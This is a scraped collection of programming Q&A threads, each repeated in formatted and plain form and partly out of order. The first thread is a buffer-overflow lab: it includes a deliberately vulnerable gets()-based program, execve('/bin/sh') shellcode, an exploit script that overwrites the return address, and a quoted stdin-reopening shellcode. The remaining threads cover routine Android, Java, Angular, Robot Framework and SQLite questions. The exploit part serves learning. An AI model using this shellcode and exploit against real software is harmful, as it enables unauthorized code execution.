I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine.

Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code)

Vulnerable file buffer.s:

```<code>.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret
</code>```

shellcode.s

```<code>.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall
</code>```

exploit.py

```<code>shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
</code>```

Compiled with:

```<code>$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
</code>```

Started with:

```<code>$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
</code>```

Debugging with gdb:

```<code>$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.
</code>```

答:
The link provided by Zenoc is dead, but can still be found in the Wayback machine. For convenience, I've reproduced it below. I had to include add $0x10,%esp at the top to give me more stack space, as all the pushes in the code ate into the buffer where my shellcode was stored. If you'd like to include that to the shellcode too, just add "\x83\xc4\x10" to the start. The shellcode is 55 bytes without my addition, and 58 with.

```<code>/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0)
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]
</code>```

Note: I couldn't add this as an edit to Zenoc's answer because the edit queue is full.

If you are having trouble pinpointing the address of your shellcode due to differing stacks in the terminal and gdb, have a look at my answer here.

Body:
I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine.

Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code)

Vulnerable file buffer.s:

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

Compiled with:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

Started with:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

Debugging with gdb:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.

Body:
The link provided by Zenoc is dead, but can still be found in the Wayback machine. For convenience, I've reproduced it below. I had to include add $0x10,%esp at the top to give me more stack space, as all the pushes in the code ate into the buffer where my shellcode was stored. If you'd like to include that to the shellcode too, just add "\x83\xc4\x10" to the start. The shellcode is 55 bytes without my addition, and 58 with.

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0)
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

Note: I couldn't add this as an edit to Zenoc's answer because the edit queue is full.

If you are having trouble pinpointing the address of your shellcode due to differing stacks in the terminal and gdb, have a look at my answer here.


问:
Robot Framework "Select From List" command error
I am trying to choose a option by  Robot Framework native Keyword "Select From List" command, however it is failed with error message :

html page source:

```<code><select id="reason" placeholder="Please select" style="width: 100%; display: none;" class="m-b-xs" data-role="combobox" aria-disabled="false" aria-readonly="false">
<option value="a">Assume</option>
<option value="b">New</option>
<option value="c">Renew</option>
<option value="d">Purchase</option>
<option value="e">Refinance</option>
<option value="f">Reschedul</option>
<option selected="selected" value="New">New</option>
</select>
</code>```

I used value "Assume" or "a":

```<code>Choose Application Reason
    Select From List    xpath=//select[@id="reason"]    Assume
</code>```

Test was failed with error message:

```<code>INFO : Selecting option(s) 'Assume' from list
'xpath=//select[@id="reason"]'.
.....
FAIL :ValueError: Option 'Assume' not in list 'xpath=//select[@id="reason"]'.
INFO : Selecting option(s) 'a' from list 'xpath=//select[@id="reason"]'.
.....
FAIL : ValueError: Option 'a' not in list 'xpath=//select[@id="reason"]'.
</code>```

But if I replace value "Assume" with default vale "New":

```<code>Choose Application Reason
    Select From List    xpath=//select[@id="reason"]    New
</code>```

test was passed.

Can anyone do the help? Thanks ahead.

答:
should use Label, which means text    </p>

<p>e.g. </p>

```<code>Select From List By Label   xpath=//select[@id="reason"]    Assume
</code>```

Body:
I am trying to choose a option by  Robot Framework native Keyword "Select From List" command, however it is failed with error message :

html page source:

<select id="reason" placeholder="Please select" style="width: 100%; display: none;" class="m-b-xs" data-role="combobox" aria-disabled="false" aria-readonly="false">
<option value="a">Assume</option>
<option value="b">New</option>
<option value="c">Renew</option>
<option value="d">Purchase</option>
<option value="e">Refinance</option>
<option value="f">Reschedul</option>
<option selected="selected" value="New">New</option>
</select>

I used value "Assume" or "a":

Choose Application Reason
    Select From List    xpath=//select[@id="reason"]    Assume

Test was failed with error message:

INFO : Selecting option(s) 'Assume' from list
'xpath=//select[@id="reason"]'.
.....
FAIL :ValueError: Option 'Assume' not in list 'xpath=//select[@id="reason"]'.
INFO : Selecting option(s) 'a' from list 'xpath=//select[@id="reason"]'.
.....
FAIL : ValueError: Option 'a' not in list 'xpath=//select[@id="reason"]'.

But if I replace value "Assume" with default vale "New":

Choose Application Reason
    Select From List    xpath=//select[@id="reason"]    New

test was passed.

Can anyone do the help? Thanks ahead.

Body:
should use Label, which means text

e.g.

Select From List By Label   xpath=//select[@id="reason"]    Assume


答:
Just finish your activity in onActivityResult as follows :</p>

```<code>@Override
   protected void onActivityResult(int requestCode, int resultCode, Intent data) {
       super.onActivityResult(requestCode, resultCode, data);

       if (resultCode == RESULT_OK) {
           switch (requestCode){
               case 1:
                 // finish your activity
                 finish();
           }
       }

   }
</code>```

Title: Android Close Second activity and move to first activity

Body:
Just finish your activity in onActivityResult as follows :

@Override
   protected void onActivityResult(int requestCode, int resultCode, Intent data) {
       super.onActivityResult(requestCode, resultCode, data);

       if (resultCode == RESULT_OK) {
           switch (requestCode){
               case 1:
                 // finish your activity
                 finish();
           }
       }

   }


问:
Lenovo A600 can't keep service running after app killed
As the title, I just built an app using Unbound Service, but it didn't work fine on Lenovo A6000, when I killed app, the service which I started before was closed also.
But services in Facebook, Messenger app worked on this device correctly.
So, how can I do?</p>

答:
Hi Nam Nguyen & ADM here is created service which work in background in my lenovo device after kill application,

Here you need to create to service, one is for the background task and one is alarm service for continuously check your service after some time,

```<code>import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.util.Log;

/**
 * Created by DhavalSolanki on 30/3/17.
 */

public class ConnectionService extends Service {
    private final String TAG = getClass().getSimpleName();
    private Context context;

    @Override
    public IBinder onBind(Intent intent) {
        Log.i(TAG, "onBind");
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        context = getApplicationContext();
        return Service.START_STICKY;
    }

    @Override
    public void onCreate() {
        super.onCreate();
    }

    @Override
    public boolean onUnbind(Intent intent) {
        Log.i(TAG, "onUnbind");
        return super.onUnbind(intent);
    }

    @Override
    public void onDestroy() {
        Log.i(TAG, "onDestroy");
        super.onDestroy();
    }

}

import android.app.ActivityManager;
import android.app.IntentService;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * Created by DhavalSolanki on 30/3/17.
 */
public class AlarmService extends IntentService {
    @Override
    protected void onHandleIntent(Intent intent) {
        boolean isServiceRunning = false;
        ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
        for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
            if (ConnectionService.class.getName().equals(service.service.getClassName())) {
                isServiceRunning = true;
                break;
            }
        }
//        Logger.print("AlarmService", "Service is running " + isServiceRunning);
        if (!isServiceRunning) {
            startService(new Intent(getApplicationContext(), ConnectionService.class));
        }
    }

    /**
     * Creates an IntentService.  Invoked by your subclass's constructor.
     */
    public AlarmService() {
        super("Alarm");
    }
}
</code>```

Write following code where you start you service

```<code> private void checkAndStartService() {
        final ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
        new AsyncTask<Void, Void, Boolean>() {
            boolean isServiceRunning = false;
            @Override
            protected Boolean doInBackground(Void... params) {
                for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
                    if (ConnectionService.class.getName().equals(service.service.getClassName())) {
                        isServiceRunning = true;
                        break;
                    }
                }
                return isServiceRunning;
            }

            @Override
            protected void onPostExecute(Boolean aBoolean) {
                super.onPostExecute(aBoolean);
                Log.i("onPostExecute", "Service running = " + aBoolean);
                if (!aBoolean) {

                    startService(new Intent(ActivitySplash.this, ConnectionService.class));
                    Intent i = new Intent(ActivitySplash.this, AlarmService.class);
                    PendingIntent pi = PendingIntent.getService(ActivitySplash.this, 0, i, 0);
                    AlarmManager am = (AlarmManager) ActivitySplash.this.getSystemService(Context.ALARM_SERVICE);
                    am.cancel(pi); // cancel any existing alarms
                    am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), 10000, pi);
                }
            }
        }.execute();
    }
</code>```

And Finally register Both service in Manifest file

```<code>       <service android:name=".services.ConnectionService"
            android:enabled="true"
            android:exported="false"
            android:stopWithTask="false" />
        <service
            android:name=".services.AlarmService"
            android:enabled="true" />
</code>```

Body:
Hi Nam Nguyen & ADM here is created service which work in background in my lenovo device after kill application,

Here you need to create to service, one is for the background task and one is alarm service for continuously check your service after some time,

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.util.Log;

/**
 * Created by DhavalSolanki on 30/3/17.
 */

public class ConnectionService extends Service {
    private final String TAG = getClass().getSimpleName();
    private Context context;

    @Override
    public IBinder onBind(Intent intent) {
        Log.i(TAG, "onBind");
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        context = getApplicationContext();
        return Service.START_STICKY;
    }

    @Override
    public void onCreate() {
        super.onCreate();
    }

    @Override
    public boolean onUnbind(Intent intent) {
        Log.i(TAG, "onUnbind");
        return super.onUnbind(intent);
    }

    @Override
    public void onDestroy() {
        Log.i(TAG, "onDestroy");
        super.onDestroy();
    }

}

import android.app.ActivityManager;
import android.app.IntentService;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * Created by DhavalSolanki on 30/3/17.
 */
public class AlarmService extends IntentService {
    @Override
    protected void onHandleIntent(Intent intent) {
        boolean isServiceRunning = false;
        ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
        for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
            if (ConnectionService.class.getName().equals(service.service.getClassName())) {
                isServiceRunning = true;
                break;
            }
        }
//        Logger.print("AlarmService", "Service is running " + isServiceRunning);
        if (!isServiceRunning) {
            startService(new Intent(getApplicationContext(), ConnectionService.class));
        }
    }

    /**
     * Creates an IntentService.  Invoked by your subclass's constructor.
     */
    public AlarmService() {
        super("Alarm");
    }
}

Write following code where you start you service

 private void checkAndStartService() {
        final ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
        new AsyncTask<Void, Void, Boolean>() {
            boolean isServiceRunning = false;
            @Override
            protected Boolean doInBackground(Void... params) {
                for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
                    if (ConnectionService.class.getName().equals(service.service.getClassName())) {
                        isServiceRunning = true;
                        break;
                    }
                }
                return isServiceRunning;
            }

            @Override
            protected void onPostExecute(Boolean aBoolean) {
                super.onPostExecute(aBoolean);
                Log.i("onPostExecute", "Service running = " + aBoolean);
                if (!aBoolean) {

                    startService(new Intent(ActivitySplash.this, ConnectionService.class));
                    Intent i = new Intent(ActivitySplash.this, AlarmService.class);
                    PendingIntent pi = PendingIntent.getService(ActivitySplash.this, 0, i, 0);
                    AlarmManager am = (AlarmManager) ActivitySplash.this.getSystemService(Context.ALARM_SERVICE);
                    am.cancel(pi); // cancel any existing alarms
                    am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), 10000, pi);
                }
            }
        }.execute();
    }

And Finally register Both service in Manifest file

       <service android:name=".services.ConnectionService"
            android:enabled="true"
            android:exported="false"
            android:stopWithTask="false" />
        <service
            android:name=".services.AlarmService"
            android:enabled="true" />


问:
JAVA Unrecognized Character of the first character in the first line
I have lines of code to read the content of the file in Java. Basically I am using FileReader and BufferedReader. I am reading the lines correctly, however, the first character of the first line seems to be an undefined symbol. I have no idea where I got this symbol since the content of the input file is correct.

Here is the code:

```<code>FileReader readFile = new FileReader(chosenFile);
BufferedReader input = new BufferedReader(readFile);
while((line = input.readLine()) != null) {
    System.out.println(line);
}
</code>```

答:
If it apears only in the first line, this is probably BOM (Byte Order Mark).  All modern Text editors recognize this and do not present it as part of the text file.  When you save the text file, there should be option to save with or without it.

If you wish to read the BOM marker in java, see here Reading UTF-8 - BOM marker

Body:
I have lines of code to read the content of the file in Java. Basically I am using FileReader and BufferedReader. I am reading the lines correctly, however, the first character of the first line seems to be an undefined symbol. I have no idea where I got this symbol since the content of the input file is correct.

Here is the code:

FileReader readFile = new FileReader(chosenFile);
BufferedReader input = new BufferedReader(readFile);
while((line = input.readLine()) != null) {
    System.out.println(line);
}


问:
result from get method is not displaying in View angular 2
am working on angular2, I  need to get all details from getmethod. (I got this)

now I need to display all this details in my form. Everything look fine, but it is not displaying.

This is my html (this is where my problem, the result not showing in the label)

```<code><div class="row">
<div class="col-lg-12" *ngIf="userdetails">
    <div class="page-header">
        <h2> Profile </h2>
        </div>
                <div *ngIf="editProfile === 2">
                    <button type="button" class="btn btn-primary pull-right" (click)="editProfileDetail(1)"><i class="fa fa-pencil fa-lg"></i> Edit </button>
           </div>
            <div *ngIf="editProfile === 1">
           <button type="button" class="btn btn-primary pull-right" (click)="editProfileDetail(2)"><i class="fa fa-times fa-lg"></i> Close </button>
        </div>
    </div>
</div>
<div class="form-group row" *ngIf="userdetails">
<label class="col-md-2 control-label" for="text-input"> Username </label>
    <div class="col-md-6" *ngIf="userdetails">
        <label class="form-control ">{{(userdetails.username == "" ? "--No data--" : userdetails.username)}}</label>
    </div>
</div>
</code>```

My Ts File

```<code>export class UserComponent implements OnInit
{
    public userDetails : UserData;

    constructor( private fb: FormBuilder, public http: Http,private     dataService: DataService)
    {
    }

    ngOnInit(){
       let usernme = localStorage.getItem('username');
       this.dataService.getUserdata(usernme).then(userdata => this.userdata = userdata);
    }
</code>```

Service File

```<code>getUserdata(user): Promise <UserData>
{
    let params : URLSearchParams = new URLSearchParams();
    params.set('username',user);

    return this.http.get(AppConfiq.API_URL+'getUser',{ search: params})
       .toPromise()
       .then(response => response.json().abcd as UserData)
       .catch(this.handleError);
}
</code>```

UserData File

```<code>export class UserData{
username: string; }
</code>```

and I did get all the result I want

I have problem with displaying part. Any idea or did i miss something?

Thank u.

答:
You are not assigning anything to userdetails.

Your callback

```<code>.then(userdata => this.userdata = userdata);
</code>```

does the assignment to this.userdata. I think it was meant to be

```<code>.then(userdata => this.userdetails = userdata);
</code>```

and you can use the safe-navigation operator (?) inside your label like this to check for falsy values:

```<code><label class="form-control ">{{(userdetails?.username}}</label>
</code>```

Body:
am working on angular2, I  need to get all details from getmethod. (I got this)

now I need to display all this details in my form. Everything look fine, but it is not displaying.

This is my html (this is where my problem, the result not showing in the label)

 Profile

                    <button type="button" class="btn btn-primary pull-right" (click)="editProfileDetail(1)"> Edit </button>

           <button type="button" class="btn btn-primary pull-right" (click)="editProfileDetail(2)"> Close </button>

 Username

        {{(userdetails.username == "" ? "--No data--" : userdetails.username)}}

My Ts File

export class UserComponent implements OnInit
{
    public userDetails : UserData;

    constructor( private fb: FormBuilder, public http: Http,private     dataService: DataService)
    {
    }

    ngOnInit(){
       let usernme = localStorage.getItem('username');
       this.dataService.getUserdata(usernme).then(userdata => this.userdata = userdata);
    }

Service File

getUserdata(user): Promise <UserData>
{
    let params : URLSearchParams = new URLSearchParams();
    params.set('username',user);

    return this.http.get(AppConfiq.API_URL+'getUser',{ search: params})
       .toPromise()
       .then(response => response.json().abcd as UserData)
       .catch(this.handleError);
}

UserData File

export class UserData{
username: string; }

and I did get all the result I want

I have problem with displaying part. Any idea or did i miss something?

Thank u.

Body:
You are not assigning anything to userdetails.

Your callback

.then(userdata => this.userdata = userdata);

does the assignment to this.userdata. I think it was meant to be

.then(userdata => this.userdetails = userdata);

and you can use the safe-navigation operator (?) inside your label like this to check for falsy values:

<label class="form-control ">{{(userdetails?.username}}</label>


问:
UPDATE doesn't run with FMDB, runs fine with sqlite command line
I'm using FMDB to interface with an SQLite database. I have it inserting rows fine, but when I try and UPDATE one of them, the UPDATE does not occur, but no error is reported.

Here's what I'm doing:

```<code>userHistoryDB.logsErrors = YES;
userHistoryDB.traceExecution = YES;
NSString *query = [NSString stringWithFormat:
         @"INSERT OR IGNORE INTO phrase_history (code, %@) VALUES (\"%@\", 0); "
         @"UPDATE OR FAIL phrase_history SET %@ = %@ + 1 WHERE code = \"%@\";",
         countTypeColumn,
         phraseCode,
         countTypeColumn,
         countTypeColumn,
         phraseCode];
BOOL rc = [userHistoryDB executeUpdate:query];
</code>```

rc is YES, to indicate nothing is wrong. Here is an example call:

```<code><FMDatabase: 0x5303af0> executeUpdate: INSERT OR IGNORE INTO phrase_history (code, presented) VALUES ("grapefruit", 0); UPDATE OR FAIL phrase_history SET presented = presented + 1 WHERE code = "grapefruit";
</code>```

As far as FMDB is concerned, this has executed fine. However, the record does not increment. There is nothing wrong whatsoever with the SQL - if I paste it into the sqlite3 command line tool, it runs perfectly.

Any ideas as to why it's not running? Things I have tried to no avail:

Enclosing the line in a transaction

Running using executeQuery

Running just the update (with the entry already manually inserted).

Slamming head against desk.

答:
where your database is stored? in the bundle? or in other location?

if you have your database in your project folder, when you compile, Xcode will create the app bundle in build/Debug or build/Release, this is where your database will be located, not the one in your project folder. Check if the database in build/Debug(Release) is updated? The database in your project folder will not be updated, since you may be request the location of your app bundle.

when you check the database by the command line, did you check the database in your project bundle or in the build/Debug(Release) folders?

Body:
I'm using FMDB to interface with an SQLite database. I have it inserting rows fine, but when I try and UPDATE one of them, the UPDATE does not occur, but no error is reported.

Here's what I'm doing:

userHistoryDB.logsErrors = YES;
userHistoryDB.traceExecution = YES;
NSString *query = [NSString stringWithFormat:
         @"INSERT OR IGNORE INTO phrase_history (code, %@) VALUES (\"%@\", 0); "
         @"UPDATE OR FAIL phrase_history SET %@ = %@ + 1 WHERE code = \"%@\";",
         countTypeColumn,
         phraseCode,
         countTypeColumn,
         countTypeColumn,
         phraseCode];
BOOL rc = [userHistoryDB executeUpdate:query];

rc is YES, to indicate nothing is wrong. Here is an example call:

<FMDatabase: 0x5303af0> executeUpdate: INSERT OR IGNORE INTO phrase_history (code, presented) VALUES ("grapefruit", 0); UPDATE OR FAIL phrase_history SET presented = presented + 1 WHERE code = "grapefruit";

As far as FMDB is concerned, this has executed fine. However, the record does not increment. There is nothing wrong whatsoever with the SQL - if I paste it into the sqlite3 command line tool, it runs perfectly.

Any ideas as to why it's not running? Things I have tried to no avail:

Enclosing the line in a transaction

Running using executeQuery

Running just the update (with the entry already manually inserted).

Slamming head against desk.


问:
Android : How to write camera intent in android nougat
In my android application I have to take images using the camera when a button is clicked. It is working perfectly in all Android versions except Android 7 (Nougat). When I choose the camera option, the app is exiting even if the permissions are granted. I think the problem is in the camera-calling Intent. Below is my code.

```<code>camera = (ImageView) dialog.findViewById(R.id.camera);

camera.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        clickCamera();
        dialog.dismiss();
    }
});

private void clickCamera() { // 1 for icon and 2 for attachment
    if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
        ActivityCompat.requestPermissions(MainActivity.this, new String[] { Manifest.permission.CAMERA }, MY_REQUEST_CODE);
    } else {
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(MainActivity.this, new String[] { Manifest.permission.WRITE_EXTERNAL_STORAGE }, MY_REQUEST_CODE_STORAGE);
        } else {
            currentImageUri = getImageFileUri();
            Intent intentPicture = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
            intentPicture.putExtra(MediaStore.EXTRA_OUTPUT, currentImageUri); // set the image file name
            // start the image capture Intent
            startActivityForResult(intentPicture, REQUEST_CAMERA);  // 1 for REQUEST_CAMERA (icon) and 2 for REQUEST_CAMERA_ATT (attachment)
        }
    }
}

private static Uri getImageFileUri(){
    // Create a storage directory for the images
    // To be safe(r), you should check that the SD card is mounted
    // using Environment.getExternalStorageState() before doing this

    imagePath = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES), "MyProject");
    if (!imagePath.exists()) {
        if (!imagePath.mkdirs()) {
            return null;
        } else {
            // create new folder
        }
    }

    // Create an image file name
    String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
    File image = new File(imagePath, "MyProject_" + timeStamp + ".jpg");

    if (!image.exists()) {
        try {
            image.createNewFile();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    // Create an File Uri
    return Uri.fromFile(image);
}

@Override
public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
    switch (requestCode) {
        case MY_REQUEST_CODE: {
            // If request is cancelled, the result arrays are empty.
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                // permission was granted, yay! Do the
                // contacts-related task you need to do.
                if (ActivityCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
                    ActivityCompat.requestPermissions(MainActivity.this, new String[] { Manifest.permission.WRITE_EXTERNAL_STORAGE }, MY_REQUEST_CODE_STORAGE);
                } else {
                    currentImageUri = getImageFileUri();
                    Intent intentPicture = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
                    intentPicture.putExtra(MediaStore.EXTRA_OUTPUT, currentImageUri); // set the image file name
                    // start the image capture Intent
                    startActivityForResult(intentPicture, REQUEST_CAMERA);
                }
            } else {
                // permission denied, boo! Disable the
                // functionality that depends on this permission.
                Toast.makeText(this, "Doesn't have permission... ", Toast.LENGTH_SHORT).show();
            }
            return;
        }
        case MY_REQUEST_CODE_STORAGE: {
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                currentImageUri = getImageFileUri();
                Intent intentPicture = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
                intentPicture.putExtra(MediaStore.EXTRA_OUTPUT, currentImageUri); // set the image file name
                // start the image capture Intent
                startActivityForResult(intentPicture, REQUEST_CAMERA);
            } else {
                // permission denied, boo! Disable the
                // functionality that depends on this permission.
                Toast.makeText(this, "Doesn't have permission...", Toast.LENGTH_SHORT).show();
            }
            return;
        }
    }
}
</code>```

What is the problem here for Nougat? Is it because of the Uri returned by getImageFileUri()?

答:
Hey please follow  this thread as a reference. It will show you how to use File Provider when you set your targetSDK as 24  and change following. In your private static Uri getImageFileUri() method

Change this line

```<code>return Uri.fromFile(image);
</code>```

to

```<code>FileProvider.getUriForFile(context, context.getApplicationContext().getPackageName() + ".provider", createImageFile());
</code>```

Hope this will help you to solve your issue.

 For more go to -
Setting Up File Sharing - Offical documentation

Body:
